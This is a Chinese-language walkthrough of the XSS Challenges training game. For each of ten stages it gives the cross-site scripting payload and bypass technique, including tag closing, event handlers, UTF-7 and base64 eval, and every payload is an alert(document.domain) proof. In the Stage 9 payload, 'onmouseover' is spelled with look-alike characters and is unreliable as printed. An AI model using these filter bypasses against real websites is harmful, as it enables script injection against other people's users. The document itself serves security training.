XSS Challenges通关教程
概述
本教程详细介绍了XSS Challenges各个阶段的通关方法，涵盖了多种XSS攻击技术和绕过技巧。通过本教程，您将学习到不同类型的XSS漏洞利用方式。
Stage #1 - 基础XSS注入
漏洞描述：最简单的XSS注入点，没有任何过滤。
利用方法：
<script>alert(document.domain)</script>
攻击原理：直接在search输入框中输入payload，点击search即可触发XSS。
Stage #2 - HTML标签闭合注入
漏洞描述：输入被直接放入value属性中，需要闭合标签。
利用方法：
"><script>alert(document.domain)</script><
攻击原理：通过闭合输入框的HTML标签value="">，然后添加新的script标签。
Stage #3 - 隐藏参数注入
漏洞描述：搜索框已做转义处理，但隐藏参数未过滤。
利用方法：
- 构造POST数据包：
p1=1&p2=<script>alert(document.domain)</script>
- 使用Burp Suite修改请求包
攻击原理：通过修改POST请求中的隐藏参数p2实现注入。
Stage #4 - 多参数注入
漏洞描述：类似Stage2，但需要识别正确的注入参数。
利用方法：
p1=123&p2=Japan&p3="><script>alert(document.domain)</script><
攻击原理：通过分析源码发现p3参数存在注入点，构造闭合标签payload。
Stage #5 - 绕过maxlength限制
漏洞描述：输入框有maxlength限制，但可通过修改DOM绕过。
利用方法：
- 修改maxlength为50
- 输入：
"><script>alert(document.domain)</script><
攻击原理：直接修改输入框的maxlength属性值，然后输入长payload。
Stage #6 - HTML实体编码绕过
漏洞描述：<>符号被HTML特殊字符代替，但双引号可用。
利用方法：
" onmouseover="alert(document.domain)">
攻击原理：利用未被过滤的双引号构造事件处理器，当鼠标移动到搜索框时触发。
Stage #7 - 过滤双引号绕过
漏洞描述：双引号被过滤，但事件处理器仍可构造。
利用方法：
s onmouseover=alert(document.domain)
攻击原理：利用空格分隔属性，构造无引号的事件处理器。
Stage #8 - JavaScript伪协议利用
漏洞描述：输入出现在<a>标签中。
利用方法：
javascript:alert(document.domain);
攻击原理：利用javascript:伪协议在链接中执行代码。
Stage #9 - 编码绕过
漏洞描述：存在日本编码(euc-jp)限制。
利用方法：
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
攻击原理：使用UTF-7编码绕过过滤，或通过控制台直接执行。
Stage #10 - 关键字过滤绕过
漏洞描述：domain关键字被过滤。
利用方法1：双写绕过
"><script>alert(document.dodomainmain)</script><
利用方法2：Base64编码绕过
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
攻击原理：
- 双写绕过：在被过滤的关键字中插入自身
- Base64编码：将payload编码后通过eval执行解码后的内容
总结
本教程涵盖了从基础到进阶的XSS攻击技术，包括：
- 直接脚本注入
- HTML标签闭合
- 隐藏参数利用
- DOM属性修改
- 事件处理器注入
- 编码绕过技术
- 关键字过滤绕过
每种技术都针对不同的防御措施，理解这些技术有助于更好地防御XSS攻击。